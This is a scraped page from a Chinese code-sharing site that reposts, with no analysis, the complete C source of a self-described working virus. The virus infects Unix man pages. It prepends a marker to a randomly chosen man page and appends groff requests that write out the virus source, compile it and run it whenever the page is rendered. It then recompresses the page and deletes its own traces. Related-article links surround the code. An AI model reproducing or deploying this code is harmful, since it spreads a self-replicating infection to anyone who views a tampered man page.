zoukankan
html css js c++ java
Manpage 原代码
Code
/**/
/*
** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
**
*/
#include
<
stdio.h
>
#include
<
sys
/
types.h
>
#include
<
dirent.h
>
#include
<
stdlib.h
>
const
char
*
viriiSource
=
"
/tmp/virus.c
"
;
const
char
*
tmpVictum
=
"
/tmp/victum
"
;
const
char
*
ident
=
"
.\x5c\x22VIRUS\x0a
"
;
char
path[]
=
"
/usr/man/manx
"
;
int
wasZipped
=
0
;
char
*
findVictum();
int
infectVictum(
char
*
);
int
main(
int
argc,
char
**
argv)
{
infectVictum(findVictum());
unlink(viriiSource);
unlink(
*
argv);
}
char
*
findVictum()
{
DIR
*
dp;
FILE
*
fd;
struct
dirent
*
de;
int
index
=
0
;
char
buf[
1000
];
static
char
pathname[
1000
];
/**/
/*
inititialization
*/
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
srand(time(NULL));
index
=
rand()
%
3
;
path[
12
]
=
index
+
49
;
if
((dp
=
opendir(path))
==
NULL)
{
return
NULL;
}
/**/
/*
skip "." and ".."
*/
readdir(dp); readdir(dp);
while
(
1
)
{
/**/
/*
read next entry
*/
if
((de
=
readdir(dp))
==
NULL)
{
closedir(dp);
return
NULL;
}
/**/
/*
create full pathname
*/
sprintf(pathname,
"
%s/%s
"
, path, de
->
d_name);
/**/
/*
if zipped
*/
if
(strstr(pathname,
"
.gz
"
))
{
sprintf(buf,
"
gunzip %s
"
, pathname);
system(buf);
wasZipped
=
1
;
/**/
/*
without '.gz'
*/
pathname[strlen(pathname)
-
3
]
=
0
;
}
/**/
/*
get next filename from directory
*/
if
((fd
=
fopen(pathname,
"
r
"
))
==
NULL)
{
continue
;
}
fgets(buf,
100
, fd);
/**/
/*
look if not already infected
*/
if
(strcmp(buf, ident)
==
0
)
{
fclose(fd);
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
}
else
{
fclose(fd);
return
pathname;
}
}
}
int
infectVictum(
char
*
victum)
{
char
buf[
1000
];
FILE
*
virusIn,
*
victumIn,
*
tmpOut;
memset(buf,
0
,
1000
);
if
((virusIn
=
fopen(viriiSource,
"
r
"
))
==
NULL)
{
return
1
;
}
if
((tmpOut
=
fopen(tmpVictum,
"
a
"
))
==
NULL)
{
fclose(virusIn);
return
1
;
}
if
((victumIn
=
fopen(victum,
"
r
"
))
==
NULL)
{
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}
/**/
/*
write ident-string to man-page
*/
fprintf(tmpOut,
"
%s
"
, ident);
/**/
/*
and append the original man-page
*/
while
(fgets(buf,
999
, victumIn)
!=
NULL)
{
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
1000
,
0
);
}
fclose(victumIn);
/**/
/*
finally append virus-code to it
*/
sprintf(buf,
"
.opena v %s\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
0
,
1000
);
while
(fgets(buf,
999
, virusIn)
!=
NULL)
{
fprintf(tmpOut,
"
.write v %s
"
, buf);
memset(buf,
0
,
1000
);
}
sprintf(buf,
"
.pso cc %s -o /tmp/virus;/tmp/virus &\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
fclose(virusIn);
fclose(tmpOut);
unlink(victum);
/**/
/*
our smart-copy ;-)
*/
link(tmpVictum, victum);
unlink(tmpVictum);
if
(wasZipped)
{
sprintf(buf,
"
gzip %s
"
, victum);
system(buf);
}
return
0
;
}
查看全文
相关阅读:
CodeForces 639C Bear and Polynomials
CodeForces 149E Martian Strings exkmp
CodeForces 85D Sum of Medians Splay | 线段树
CodeForces 149D Coloring Brackets
CodeForces 526D Om Nom and Necklace
CodeForces 875 D High Cry
CodeForces 1018B The hat
springMVC工程使用jreloader实现热部署
ssh方式与服务器建立连接
Weblogic在Linux下启动特别慢及进入控制台慢的解决方法
原文地址:https://www.cnblogs.com/phirothing/p/1396016.html
最新文章
链表加法的两种实现
实现最大最小堆
KMP算法
读《集中优势兵力,各个歼灭敌人》
在CentOs6.5下安装Python2.7.6和Scrapy
应该专注哪一个方向?
初学bind
git安装以及应用
ZooKeeper注册中心安装详细步骤(单节点)
SVN版本管理系统的使用(CentOS+Subversion+Apache+Jsvnadmin+TortoiseSVN)
热门文章
Galera Cluster mysql+keepalived集群部署
linux搭建mysql集群
linux 安装配置nexus以及maven私服应用
nginx_ssl_tomcat配置
nginx_ssl证书双向认证以及负载均衡配置
nginx_ssl安装
dubbo+zookeeper+spring实例
CodeForces 809B Glad to see you!
CodeForces 223C Partial Sums 多次前缀和
CodeForces 346C Number Transformation II
Copyright © 2011-2022 走看看